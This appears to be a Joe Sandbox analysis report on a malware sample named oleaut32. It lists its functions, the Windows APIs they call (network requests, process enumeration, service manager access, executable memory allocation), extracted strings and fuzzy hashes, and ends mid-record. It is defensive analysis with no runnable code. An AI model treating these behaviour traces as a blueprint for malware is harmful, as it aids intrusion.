String ID: =t$=t$Pra
API String ID: 1207547050-2805377485
Opcode ID: 99b13636c32a1d44ef9b36f71507c0924ab539e5d296489f58081c3de8039cf0
Instruction ID: 65a12361729570ae36827483d31d12335d3914f0a17606722eba81b51bba9f8b
Opcode Fuzzy Hash: 99b13636c32a1d44ef9b36f71507c0924ab539e5d296489f58081c3de8039cf0
Instruction Fuzzy Hash: 30715C71B003D25BCB2C9B2ADD99B3A7A6A7BD4700F040069E9C5DF2A8FE209C4497D1

Function 005E80D0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 169
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,?,0100754F,00000000), ref: 005E8218

Strings

m, xrefs: 005E8100
Ou, xrefs: 005E8190
DR, xrefs: 005E8108

Memory Dump Source

Source File: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000001.00000002.2928235869.00000000005E0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2928268334.00000000005ED000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5e0000_oleaut32.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: DR$Ou$m
API String ID: 823142352-902897619
Opcode ID: 3feffe1292b21025643bc06c966ff9f8e5faa5f6458d369bf89092ab8702ea10
Instruction ID: f67e77884d8b237297ea925804754a644aa04467faf96fe0ea36a6d55251e193
Opcode Fuzzy Hash: 3feffe1292b21025643bc06c966ff9f8e5faa5f6458d369bf89092ab8702ea10
Instruction Fuzzy Hash: 2D618E31A083818BD71CDF69C889A2FBBE1BBD4714F04491CF5D99B290DBB4CD098B82

Function 005E52E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(33A6B453,33A6B453), ref: 005E53C0

Strings

5sF, xrefs: 005E530B
5sF, xrefs: 005E5378

Memory Dump Source

Source File: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000001.00000002.2928235869.00000000005E0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2928268334.00000000005ED000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5e0000_oleaut32.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: 5sF$5sF
API String ID: 1721193555-3318035110
Opcode ID: 417d19fda59c48bcc7b6a5d1acb4ba159ff73dfc2992e4623442c4af3d68b8c4
Instruction ID: b5903ec9d657fccbb27b1c2aa956993c950cca51fc82502e21e56882793548b5
Opcode Fuzzy Hash: 417d19fda59c48bcc7b6a5d1acb4ba159ff73dfc2992e4623442c4af3d68b8c4
Instruction Fuzzy Hash: 70212535A006D087CB2C8A2A89852BE7E90BBC838CF580D6AF6C6DF250F674CD445393

Function 005E2210 Relevance: 2.8, Strings: 2, Instructions: 254COMMON

Download Yara Rule

Strings

Pra, xrefs: 005E2326, 005E23A6, 005E248F
l, xrefs: 005E22F2

Memory Dump Source

Source File: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000001.00000002.2928235869.00000000005E0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2928268334.00000000005ED000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5e0000_oleaut32.jbxd

Yara matches

Similarity

API ID:
String ID: Pra$l
API String ID: 0-3288218883
Opcode ID: 87b7e389a79e8c62927cbfeda5b6a30871acc089a44db05403fb20376ab61339
Instruction ID: 422630ee194f53e7c9760621ea6033739d431f1e03f923123afd9cc93af582f0
Opcode Fuzzy Hash: 87b7e389a79e8c62927cbfeda5b6a30871acc089a44db05403fb20376ab61339
Instruction Fuzzy Hash: E9911672A043828BDB1CDF66C888B6ABBE5BBC8710F04496DE9C59F358D630DD05CB91

Function 005E2B60 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 311
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetConnectW.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005E2CB4
HttpSendRequestW.WININET(00000000,?,000000FF,00000000,00000000), ref: 005E2D34
ObtainUserAgentString.URLMON(00000000,00000000,00000200), ref: 005E2DB7
InternetOpenW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005E2E19
InternetCloseHandle.WININET(?), ref: 005E2EC9

Strings

'aR, xrefs: 005E2C21
0B:o, xrefs: 005E2EEF, 005E2F0E
W6o, xrefs: 005E2D07, 005E2D26

Memory Dump Source

Source File: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000001.00000002.2928235869.00000000005E0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2928268334.00000000005ED000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5e0000_oleaut32.jbxd

Yara matches

Similarity

API ID: Internet$AgentCloseConnectHandleHttpObtainOpenRequestSendStringUser
String ID: W6o$'aR$0B:o
API String ID: 1741791824-529227690
Opcode ID: 5eaf8a6d52cd96a1c927b009d01b979c630ee5c28e1ad210adaa0a17b918a69f
Instruction ID: 80b05ce33d074cb87c3619b905e00a98dde6b36db86da2487b614a4c90e663a9
Opcode Fuzzy Hash: 5eaf8a6d52cd96a1c927b009d01b979c630ee5c28e1ad210adaa0a17b918a69f
Instruction Fuzzy Hash: B6B1E271A043814BDB2CAF668D8973A7AEEBBD8740F500869F9D5DF394EA70CD009791

Function 005E9860 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 149
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstChangeNotificationW.KERNELBASE(?,00000000,00000001), ref: 005E98DB

Strings

Ma:, xrefs: 005E99B4
Ma:, xrefs: 005E99C9
`2a, xrefs: 005E990C, 005E995A

Memory Dump Source

Source File: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000001.00000002.2928235869.00000000005E0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2928268334.00000000005ED000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5e0000_oleaut32.jbxd

Yara matches

Similarity

API ID: ChangeFindFirstNotification
String ID: Ma:$Ma:$`2a
API String ID: 1065410024-1733098092
Opcode ID: 6d63c3eb9e31d12657517ea9612356a48a8611087c39d25031d6328592e35320
Instruction ID: e589942e9f720df8ee3d5b998c958b960c6b4a6a7a119796b508780c9a18f693
Opcode Fuzzy Hash: 6d63c3eb9e31d12657517ea9612356a48a8611087c39d25031d6328592e35320
Instruction Fuzzy Hash: 4341C470B142C18BCB6CEF7A9D8967A3AA5BBD4740F04486EF5C5CB390EA34CD049792

Function 005E4B90 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,?), ref: 005E4C02
Process32FirstW.KERNEL32(?,0000022C), ref: 005E4C60
FindCloseChangeNotification.KERNELBASE(?,?,?,?), ref: 005E4CED

Strings

@UJ), xrefs: 005E4CA9

Memory Dump Source

Source File: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000001.00000002.2928235869.00000000005E0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2928268334.00000000005ED000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5e0000_oleaut32.jbxd

Yara matches

Similarity

API ID: ChangeCloseCreateFindFirstNotificationProcess32SnapshotToolhelp32
String ID: @UJ)
API String ID: 692674288-2550355097
Opcode ID: ace568a5e853c9dcd4cede16183016f307061581db4dde36405e41e165706bc7
Instruction ID: a5838ec5c0823d521c0618b9da69841e8f676232c3256a55acac5a0340a31bb0
Opcode Fuzzy Hash: ace568a5e853c9dcd4cede16183016f307061581db4dde36405e41e165706bc7
Instruction Fuzzy Hash: 0C312D71B102C1479B2C9A779C9E63E2AD9B7D4300B244817F4D9DB390EA3CCD499B91

Function 005E9530 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F,?,33A6B453,?,?), ref: 005E97A0

Strings

y7@+, xrefs: 005E97DF
p^v, xrefs: 005E96A5, 005E96C4

Memory Dump Source

Source File: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000001.00000002.2928235869.00000000005E0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2928268334.00000000005ED000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5e0000_oleaut32.jbxd

Yara matches

Similarity

API ID: ManagerOpen
String ID: p^v$y7@+
API String ID: 1889721586-460274923
Opcode ID: 1e3defe9f8e2722f0ac4c59366e262e61cb783adc4ba0d6899cf0707935a9568
Instruction ID: 1c730bd6ebae7f2740fa3158bbd4a267412c5ed00aa428b8659a1e498f60931f
Opcode Fuzzy Hash: 1e3defe9f8e2722f0ac4c59366e262e61cb783adc4ba0d6899cf0707935a9568
Instruction Fuzzy Hash: 9A7182707143828BD71C9F2A998977A7AA5BBD4B40F50082EF1C9DF251EA30DD09D7A2

Function 005E6D70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005E6CD0: LoadLibraryW.KERNELBASE(00000000,?,33A6B453,005E6F05,?,33A6B453,005E68AC), ref: 005E6D00

LoadLibraryW.KERNELBASE(00000000,?,33A6B453,005E68AC), ref: 005E6E87

Strings

;g+, xrefs: 005E6DF4
;g+, xrefs: 005E6E21

Memory Dump Source

Source File: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000001.00000002.2928235869.00000000005E0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2928268334.00000000005ED000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5e0000_oleaut32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: ;g+$;g+
API String ID: 1029625771-3974242271
Opcode ID: 03cafb9de938bfbdc0de1e6ded0fa9f3eb61351498719bb823be7b20e4fe58d3
Instruction ID: ad2aa84bec72b764bd530fb9c591cdcf1821c433e8d20890dfc38c050bb6e0b8
Opcode Fuzzy Hash: 03cafb9de938bfbdc0de1e6ded0fa9f3eb61351498719bb823be7b20e4fe58d3
Instruction Fuzzy Hash: 7631A3557041D587CA2CAA3F4E9D63F2DA6BBF43C0BA44876E5C9CF380D924CC4157A2

Function 005E9BF0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,005E9860,00000000,00000000,00000000,33A6B453,005E6695), ref: 005E9D11

Strings

p^v, xrefs: 005E9C45, 005E9C64
`2a, xrefs: 005E9BF0, 005E9C72, 005E9CCC, 005E9D13

Memory Dump Source

Source File: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000001.00000002.2928235869.00000000005E0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2928268334.00000000005ED000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5e0000_oleaut32.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID: `2a$p^v
API String ID: 2422867632-822847788
Opcode ID: 09bc63739c86d49e1cc9814245655d8049161b7b3ee92c355cd8054f4b7ca471
Instruction ID: f008d596a682bf45087da45cb76817aef5b91812166590c4ac0ba9840894063b
Opcode Fuzzy Hash: 09bc63739c86d49e1cc9814245655d8049161b7b3ee92c355cd8054f4b7ca471
Instruction Fuzzy Hash: 922171B07403C15BDB6CAB365D5AB2A2BD67BA4B40F24442AF5C9CF2D0DA309D049755

Function 005E5B40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00040000), ref: 005E5B9B
RtlFreeHeap.NTDLL(00000000,00000000,00000000), ref: 005E5C0A

Strings

p^v, xrefs: 005E5B6F, 005E5B8E

Memory Dump Source

Source File: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000001.00000002.2928235869.00000000005E0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2928268334.00000000005ED000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5e0000_oleaut32.jbxd

Yara matches

Similarity

API ID: Heap$AllocateFree
String ID: p^v
API String ID: 2488874121-2513449335
Opcode ID: 7879bd0964eb21e5a67e2a8f8aec5f4ec9ac6f69f4043ce718f1722d51287bb4
Instruction ID: c7c90da41777ef47d3dfa6626c255186de40bce94e2900226ad4c2c4f3cbdf45
Opcode Fuzzy Hash: 7879bd0964eb21e5a67e2a8f8aec5f4ec9ac6f69f4043ce718f1722d51287bb4
Instruction Fuzzy Hash: 87110670B007C10BDB1CAB7A5D89A2F2AEABBD8640B144479F088CF350FA24CC065790

Function 004F002D Relevance: 4.9, APIs: 3, Instructions: 387
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,004F0005), ref: 004F00E9
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,?,?,?,004F0005), ref: 004F0111

Memory Dump Source

Source File: 00000001.00000002.2928201935.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f0000_oleaut32.jbxd

Yara matches

Similarity

API ID: AllocInfoNativeSystemVirtual
String ID:
API String ID: 2032221330-0
Opcode ID: 460d81c489b0c162692d77f33f70033fe6d40d0b28a700ce4a73fb1871822586
Instruction ID: f8823f645b79a1bde220dcd0d2c7b56732e52b17d2554e0e7bdf045428ff90c3
Opcode Fuzzy Hash: 460d81c489b0c162692d77f33f70033fe6d40d0b28a700ce4a73fb1871822586
Instruction Fuzzy Hash: 19D19F7160430A8FD724CF59C98477AB3E0BFD4318F18452EEA958B342E778E845CB99

Function 005E9A90 Relevance: 4.6, APIs: 3, Instructions: 95
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000000,?,00000104), ref: 005E9B3A
QueryFullProcessImageNameW.KERNELBASE(00000000), ref: 005E9B3D
lstrcmpiW.KERNELBASE(?,?,0DFA437B,?), ref: 005E9BCE

Memory Dump Source

Source File: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000001.00000002.2928235869.00000000005E0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2928268334.00000000005ED000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5e0000_oleaut32.jbxd

Yara matches

Similarity

API ID: Process$CurrentFullImageNameQuerylstrcmpi
String ID:
API String ID: 3605714105-0
Opcode ID: 200184b14c00e718afbbe79480c7c0d74b9f950c6d0f3658a704f9cb83be2d58
Instruction ID: ac69e52efe17048eb2cc01850e13f42a1e4e9ca6bab31987da9691f93b069cf4
Opcode Fuzzy Hash: 200184b14c00e718afbbe79480c7c0d74b9f950c6d0f3658a704f9cb83be2d58
Instruction Fuzzy Hash: F6313871B142C44BDB2C9B6AAC89A7A3BE9BBD8750F44042AF4C2CB340D974CD058BA1

Function 0041025B Relevance: 4.6, APIs: 3, Instructions: 58memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00410274

Part of subcall function 00412A13: __NMSG_WRITE.LIBCMT ref: 00412A3A
Part of subcall function 00412A13: __NMSG_WRITE.LIBCMT ref: 00412A44

__NMSG_WRITE.LIBCMT ref: 0041027B

Part of subcall function 00412864: GetModuleFileNameW.KERNEL32(00000000,0041F722,00000104,00000001,00000000,?), ref: 00412900
Part of subcall function 00412864: __invoke_watson.LIBCMT ref: 00412929
Part of subcall function 00412864: _wcslen.LIBCMT ref: 0041292F
Part of subcall function 00412864: _wcslen.LIBCMT ref: 0041293C

Part of subcall function 0041257E: ___crtCorExitProcess.LIBCMT ref: 00412586
Part of subcall function 0041257E: ExitProcess.KERNEL32 ref: 0041258F

Part of subcall function 00411E2C: __getptd_noexit.LIBCMT ref: 00411E2C

RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,00413CED,?,00000001,?,?,004147E0,00000018,0041BE58,0000000C,00414870), ref: 004102A0

Memory Dump Source

Source File: 00000001.00000002.2928085310.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928068926.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928104059.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928118061.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928134425.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_oleaut32.jbxd

Similarity

API ID: ExitProcess_wcslen$AllocateFileHeapModuleName___crt__getptd_noexit__invoke_watson
String ID:
API String ID: 4285633346-0
Opcode ID: 85379f81ff0939ec83c584100c10549c30d19fa7ca46aaa6a850a0ef7457cf0a
Instruction ID: 7e8d332be424b32aeb7339ed39cdb599a77868d368d5d78e5393627917a903ca
Opcode Fuzzy Hash: 85379f81ff0939ec83c584100c10549c30d19fa7ca46aaa6a850a0ef7457cf0a
Instruction Fuzzy Hash: 7401B535244301AAE22177B6BC56BEB3748AF81378F20007BF505962E1DAFC8CD5826D

Function 005E3060 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00000220), ref: 005E31CB

Strings

p^v, xrefs: 005E31BE

Memory Dump Source

Source File: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000001.00000002.2928235869.00000000005E0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2928268334.00000000005ED000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5e0000_oleaut32.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: p^v
API String ID: 1279760036-2513449335
Opcode ID: 1cd788930c564247cd393c45b5d65ccce1caf8e551cf2a5e5869719f3769a3ff
Instruction ID: 8e67c82df0b9a65515f16c054f49e5bcf29670be3863d0650edfe23ec0f1abe9
Opcode Fuzzy Hash: 1cd788930c564247cd393c45b5d65ccce1caf8e551cf2a5e5869719f3769a3ff
Instruction Fuzzy Hash: E4516F716043828BCB1CDE6A949D56EBFE5BBD4340F14492EF5C6CB350DB30DA4A8792

Function 005E9878 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

FindFirstChangeNotificationW.KERNELBASE(?,00000000,00000001), ref: 005E98DB

Strings

`2a, xrefs: 005E990C

Memory Dump Source

Source File: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000001.00000002.2928235869.00000000005E0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2928268334.00000000005ED000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5e0000_oleaut32.jbxd

Yara matches

Similarity

API ID: ChangeFindFirstNotification
String ID: `2a
API String ID: 1065410024-1616058253
Opcode ID: cc034ec3055fb16cc7c8715879e92af1e41e052382ea45cb5777418826fb0385
Instruction ID: a3f33b20d02c9b5affd01597152d7e686c71c7015f15cd867113ede5a41b14d8
Opcode Fuzzy Hash: cc034ec3055fb16cc7c8715879e92af1e41e052382ea45cb5777418826fb0385
Instruction Fuzzy Hash: 5001A270A143C687CB7C9B774C8A73A3A95BBD5740F040868F5C4CB261EB24CD44D752

Function 005E41C0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00000050), ref: 005E4214

Strings

p^v, xrefs: 005E41EC, 005E420B

Memory Dump Source

Source File: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000001.00000002.2928235869.00000000005E0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2928268334.00000000005ED000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5e0000_oleaut32.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: p^v
API String ID: 1279760036-2513449335
Opcode ID: 5172e0a7292ab71e87718e22b7854c462fe3dd9f9efe3b3ca78889e320896681
Instruction ID: e244db1c75bce2113083c9b49dae5430bfbdf361eeb6ed6fe4350e3416d47e69
Opcode Fuzzy Hash: 5172e0a7292ab71e87718e22b7854c462fe3dd9f9efe3b3ca78889e320896681
Instruction Fuzzy Hash: 19E0E571B003C10BDB5CA7BA6C4DD2F2AA67BD9A40704446AF080CF244EE308D029BA1

Function 0040EC40 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 0040EC7E

Strings

tGeKa2B%k9F<3!6T*a>U%*s(fc>&tKC@3cQGhibVLni4I3u>F, xrefs: 0040EC93

Memory Dump Source

Source File: 00000001.00000002.2928085310.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928068926.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928104059.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928118061.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928134425.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_oleaut32.jbxd

Similarity

API ID: AllocVirtual
String ID: tGeKa2B%k9F<3!6T*a>U%*s(fc>&tKC@3cQGhibVLni4I3u>F
API String ID: 4275171209-1198268820
Opcode ID: 3b538efd8d0877daca6c9ed735cc7399334d432909fa35e9c6d7cd521d04529b
Instruction ID: 01d0f4e730c09718d0011088008fc3b8b73f4a900f8981e618274441f709c89d
Opcode Fuzzy Hash: 3b538efd8d0877daca6c9ed735cc7399334d432909fa35e9c6d7cd521d04529b
Instruction Fuzzy Hash: 9EF046B5A846203BF22157258C0AFAF7E68CB84B50F544528FE046A2C0D7B89A0182DE

Function 020D1D10 Relevance: 1.6, APIs: 1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2928404757.00000000020D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 020D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_20d1000_oleaut32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bc432a96edde320610832e569d1738cb5cf434f0fcc55219368fee4b35d9595
Instruction ID: 5a90a1e5e9cc441ccb4e24c723485e2cb5d86bc965fbe4dd643f51bf61184d7a
Opcode Fuzzy Hash: 8bc432a96edde320610832e569d1738cb5cf434f0fcc55219368fee4b35d9595
Instruction Fuzzy Hash: B941E874A01309EFDB45CF54C494BAAB7B2FB88314F24C159E8199F355C775EA82DB80

Function 005E45C0 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

QueryFullProcessImageNameW.KERNELBASE(00000000,00000000,?,33A6B453), ref: 005E462F

Memory Dump Source

Source File: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000001.00000002.2928235869.00000000005E0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2928268334.00000000005ED000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5e0000_oleaut32.jbxd

Yara matches

Similarity

API ID: FullImageNameProcessQuery
String ID:
API String ID: 3578328331-0
Opcode ID: fa0120e96a6016bd3af749822c7bc7fead0cddff3adf866ac1097749643d638b
Instruction ID: f0f0b68dcbb83855345e809e4c0d8f33bc607e0c52bceb26bfd089a2b8a305b5
Opcode Fuzzy Hash: fa0120e96a6016bd3af749822c7bc7fead0cddff3adf866ac1097749643d638b
Instruction Fuzzy Hash: C7010471B002910BD75CAB7A9C49F6B6AE9BFC4750B050029F5C5CF280EA34CD015BA0

Function 005E5410 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 005E54B1

Memory Dump Source

Source File: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000001.00000002.2928235869.00000000005E0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2928268334.00000000005ED000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5e0000_oleaut32.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: f07e0c88f9a23d181ba4402892394e66b425546242345c611fa42f463d29fce7
Instruction ID: d52a535ea4360c1d2d58f104d23507b246614fb9dc0cfd0bd06c2b867c66eae3
Opcode Fuzzy Hash: f07e0c88f9a23d181ba4402892394e66b425546242345c611fa42f463d29fce7
Instruction Fuzzy Hash: 0D1170706003819BE72CDB62CC4AB7677B5BB94704F54881CA5D58B1D0FBB4DD498752

Function 005E6CD0 Relevance: 1.5, APIs: 1, Instructions: 45libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(00000000,?,33A6B453,005E6F05,?,33A6B453,005E68AC), ref: 005E6D00

Memory Dump Source

Source File: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000001.00000002.2928235869.00000000005E0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2928268334.00000000005ED000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5e0000_oleaut32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 56111f9415c96c0aa211578b7618d66db1b44e930d3d04d233d6c0099999502c
Instruction ID: 0756233e01da076931d5be16e8c7416a1bf7277bac041c62d2c74a9349bfafe8
Opcode Fuzzy Hash: 56111f9415c96c0aa211578b7618d66db1b44e930d3d04d233d6c0099999502c
Instruction Fuzzy Hash: C1018470B002C14FC75CAB765D88A2B2AEABBD46807144469F589CF390EA34CD069B60

Function 005E4BA8 Relevance: 1.5, APIs: 1, Instructions: 28processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,?), ref: 005E4C02
Process32FirstW.KERNEL32(?,0000022C), ref: 005E4C60

Memory Dump Source

Source File: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000001.00000002.2928235869.00000000005E0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2928268334.00000000005ED000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5e0000_oleaut32.jbxd

Yara matches

Similarity

API ID: CreateFirstProcess32SnapshotToolhelp32
String ID:
API String ID: 2353314856-0
Opcode ID: f26af51f5fcc3a4d76e463ed653cbfb2d1ed553985f9b32f311a00a3e9e49388
Instruction ID: ffeca2f78f490966b3d7d93be9ce1fef563faadb8a7e785df09030a111b167fc
